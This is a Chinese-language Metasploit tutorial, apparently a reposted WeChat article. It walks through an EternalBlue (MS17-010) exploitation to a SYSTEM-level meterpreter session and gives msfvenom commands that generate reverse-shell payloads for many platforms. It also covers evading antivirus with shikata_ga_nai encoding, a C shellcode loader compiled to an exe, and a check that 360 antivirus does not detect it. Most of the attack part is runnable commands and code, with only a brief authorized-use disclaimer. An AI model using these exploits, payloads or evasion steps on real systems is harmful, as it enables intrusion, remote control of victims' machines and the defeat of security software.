干货|MSF使用教程

admin 2022年8月31日14:10:44评论135 views字数 6191阅读20分38秒阅读模式
本文配有视频讲解包含安装,使用,利用演示,如需视频可文末扫码领取!

“MSF-拿下目标服务器最高权限”

干货|MSF使用教程

01

MSF简介

干货|MSF使用教程


Metasploit(MSF)是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。


它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具。


当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了,仿佛一夜之间,任何人都可以成为黑客。


因为只要掌握MSF的使用方法,每个人都可以使用MSF来攻击那些未打过补丁或者刚刚打过补丁的漏洞。


也因此软件厂商再也不能推迟发布针对已公布漏洞的补丁了,因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。


02

MSF安装介绍

干货|MSF使用教程


MSF官网:https://www.metasploit.com/

MSF有两个版本,Metaploit是开源免费的,Metaploit pro的商业收费的,这里我们用免费的社区版就可以

MSF下载地址:

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers


MSF安装

(1)一键式安装

在Linux / macOS上安装Metasploit,这里有官方提供的脚本,可以一键式安装

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

(2)手动安装


注意:如果上面方法不可行,也可以进行手动安装

Debian / Ubuntu软件包位于https://apt.metasploit.com,而CentOS / Redhat / Fedora软件包位于https://rpm.metasploit.com

ubuntu安装

https://apt.metasploit.com/下载MSF 的deb安装包。

在终端运行:dpkg -i metasploit-framework_6.0.7+20200916102431_1rapid7-1_amd64.deb

就已经安装好了,数据库的安装看上面的步骤

Centos安装

https://rpm.metasploit.com下载 rpm安装包

在终端运行:rpm-i metasploit-framework-6.0.7+20200916102441~1rapid7-1.el6.x86_64.rpm

安装完成


安装postgresql数据库


msf使用的是postgresql数据库,如果没有的话需要先安装


安装数据库的时候会自动创建系统用户postgres,数据库用户postgres,数据库postgres


  1. 1apt-get install postgresql //安装postgresql数据库

  2. 2su - postgres //切换到postgres用户

  3. 3psql //登陆postgresql数据库,首次登陆没有密码

  4. 4password postgres //修改数据库用户postgres的密码

msf更新命令:

sudo msfupdate

msf使用数据库

  1. 1msfconsole //启动msf

  2. 2db_connect postgres:hehehe@127.0.0.1/test //用户名,密码,地址,自己随意编造的名字。

  3. 3db_status //查看数据库连接状态

MSF的功能模块介绍


MSF所用功能主要可分为这几个模块,每个模块都有各自的功能领域,形成了渗透测试的流程


1、Auxiliary(辅助模块)


为渗透测试信息搜集提供了大量的辅助模块支持


2、Exploits(攻击模块)


利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件。


3、Payload(攻击载荷模块)


攻击成功后促使靶机运行的一段植入代码


4、Post (后渗透攻击模块)


收集更多信息或进一步访问被利用的目标系统


5、Encoders(编码模块)


将攻击载荷进行编码,来绕过防护软件拦截



03

MSF的基本使用方法

干货|MSF使用教程


例如攻击永恒之蓝:


开启数据库:service postgresql start

初始化msf数据库:msfdb init

干货|MSF使用教程

开启MSF:msfconsole

干货|MSF使用教程

这里我们拿永恒之蓝这个漏洞进行简单的使用


首先要保证是能够访问到目标机器的,那么我们先ping一下目标机器,看网络是否连通

干货|MSF使用教程

此时是连通的状态


永恒之蓝的漏洞编号:ms17-010

根据漏洞名称搜索 : search ms17_010

干货|MSF使用教程

1、运用辅助模块扫描目标


设置模块:use auxiliary/scanner/smb/smb_ms17_010

查看设置:options

干货|MSF使用教程

设置目标地址:set rhosts 192.168.174.129

目标端口默认是445,如果用nmap端口扫描windows文件共享服务不是开放在445端口上面,那这里需要进行修改,set rport 目标端口

设置好了之后,run或者exploit 进行攻击

干货|MSF使用教程

绿色的加号为可攻击


2、设置攻击模块对目标进行攻击


使用攻击模块:use exploit/windows/smb/ms17_010_eternalblue

查看所需设置:options

干货|MSF使用教程

设置目标地址:set RHOSTS 192.168.174.129

设置目标端口:set RPORT 445

设置payload:set payload windows/x64/meterpreter/reverse_tcp

设置本地地址:set LHOST 192.168.174.192

攻击:run或者exploit

干货|MSF使用教程

攻击成功,成功拿到会话

注意:存在一定机率将目标机器打成蓝屏或者重启

查看目前权限

干货|MSF使用教程

系统权限,想干什么都可以了~


04

MSF后门生成模块

干货|MSF使用教程

Msfvenom常用命令参数

  1. -l,--list <type>

  2. # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等


  3. -p,--payload <payload>

  4. # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取


  5. --list-options

  6. # 列出--payload <value> 的标准,高级和规避选项


  7. -f,--format <format>

  8. # 指定 Payload 的输出格式(使用 --list formats 列出)


  9. -e,--encoder <encoder>

  10. # 指定使用的 Encoder (使用 --list encoders 列出)


  11. --sec-name <value>

  12. # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串


  13. --smallest

  14. # 使用所有可用的编码器生成最小的payload


  15. --encrypt <value>

  16. # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出)


  17. --encrypt-key <value>

  18. # 用于加密的密钥


  19. --encrypt-iv <value>

  20. # 加密的初始化向量


  21. -a,--arch <arch>

  22. # 指定目标系统架构(使用 --list archs 列出)


  23. --platform <platform>

  24. # 指定目标系统平台 (使用 --list platforms 列出)


  25. -o,--out<path>

  26. # 保存payload文件


  27. -b,--bad-chars <list>

  28. # 设置需要在 Payload 中避免出现的字符,如:'x00xff'


  29. -n,--nopsled <length>

  30. # 指定 nop 在 payload 中的数量


  31. -s,--space <length>

  32. # 设置未经编码的 Payload 的最大长度


  33. --encoder-space <length>

  34. # 编码后的 Payload 的最大长度


  35. -i,--iterations <count>

  36. # 设置 Payload 的编码次数


  37. -c,--add-code <path>

  38. # 指定包含一个额外的win32 shellcode文件


  39. -x,--template<path>

  40. # 指定一个特定的可执行文件作为模板


  41. -k,--keep

  42. # 保护模板程序的功能,注入的payload作为一个新的进程运行


  43. -v,--var-name <value>

  44. # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名)


  45. -t,--timeout <second>

  46. # 设置从STDIN读取payload的等待时间(默认为30,0为禁用)


  47. -h,--help

  48. # 帮助

msfvenom生成shellcode


普通生成


  1. msfvenom -p 有效载荷-f 输出格式-o 输出文件

  2. msfvenom -p windows/meterpreter/reverse_tcp -f exe -o payload.exe

编码生成


  1. msfvenom -a 系统架构--platform 系统平台-p 有效载荷 lhost=攻击机IP lport=攻击机端口-e 编码方式-i编码次数-f 输出格式-o 输出文件

  2. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe

msfvenom —list archs #查看支持的系统架构


  1. aarch64, armbe, armle, cbea, cbea64, cmd, dalvik, firefox, java, mips, mips64, mips64le, mipsbe, mipsle, nodejs, php, ppc, ppc64, ppc64le, ppce500v2, python, r, ruby, sparc, sparc64, tty, x64, x86, x86_64, zarch

msfvenom —list platforms #查看支持系统平台


  1. aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unifi, unix, unknown, windows

msfvenom -l payload #列出所有可用的payload

msfvenom -l formats #列出所有的输出格式

msfvenom -l encrypt #列出所有的加密方式

msfvenom -l encoders #列出所有的编码器


常见生成格式


1、 Windows

  1. msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-e x86/shikata_ga_nai -f exe -o payload.exe

2、Linux

  1. msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf

3、Mac

  1. msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho

4、Android

  1. msfvenom -p android/meterpreter/reverse_tcp -o payload.apk

5、Aspx

  1. msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx

6、JSP

  1. msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp

7、PHP

  1. msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php

8、BASH

  1. msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh

9、Python

  1. msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py



05

木马如何免杀

干货|MSF使用教程

木马绕过免杀本质上还是更改他的特征码,那么总结一下可以有


  1. 编码

  2. 加壳免杀

  3. 二次编译

  4. 分离免杀:即将ShellCode和加载器分离

目前msfvenom的encoder特征基本都进入了杀软的漏洞库,很难实现单一encoder编码而绕过杀软,所以对shellcode进行进一步修改编译成了msf免杀的主流。


互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。


第一步:安装编译软件VC++6.0

干货|MSF使用教程

第二步:生成一个常见的木马


msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b 'x00' lhost=192.168.174.196 lport=1250 -f c

干货|MSF使用教程

第三步、编译c语言为exe文件


  1. #include"stdafx.h"

  2. #include<stdio.h>

  3. #pragma comment( linker,"/subsystem:"windows" /entry:"mainCRTStartup"")

  4. unsignedchar buf[]=

  5. (这里放生成好的数组)

  6. main()

  7. {

  8. ((void(*)(void))&buf)();

  9. }

打开vc6.0,新建一个程序

干货|MSF使用教程

选择一个简单的win32程序

干货|MSF使用教程

打开a.app

干货|MSF使用教程

将我们的代码复制进去

干货|MSF使用教程

干货|MSF使用教程

编译一下,看是否有问题

干货|MSF使用教程

再编译一下a.cpp

干货|MSF使用教程

没有问题的话,就可以组建a.exe了,这个文件就是我们要的木马文件

干货|MSF使用教程

第四步、测试是否成功


把得到的a.exe 复制到桌面,右键用360的木马云查杀功能试一下

干货|MSF使用教程

成功绕过~

干货|MSF使用教程

再测试一下我们的木马是否有用,打开MSF开启监听

  1. 开启监听:msf5 >use exploit/multi/handler

  2. 设置payload,和生成的木马保持一致:set payload windows/meterpreter/reverse_tcp

  3. 设置本地地址,和木马一致:set lhost 192.168.174.196

  4. 设置本地端口,和木马一致:set lport 1250

干货|MSF使用教程

  1. msf5 exploit(multi/handler)> run

干货|MSF使用教程


成功拿到会话了, 证明我们的木马没啥问题~


声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权否则需自行承担,本公众号及原作者不承担相应的后果.

学习更多渗透技能!供靶场练习技能


干货|MSF使用教程

扫码领白帽黑客视频资料及工具


干货|MSF使用教程


原文始发于微信公众号(渗透师老A):干货|MSF使用教程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月31日14:10:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   干货|MSF使用教程http://cn-sec.com/archives/1266075.html

发表评论

匿名网友 填写信息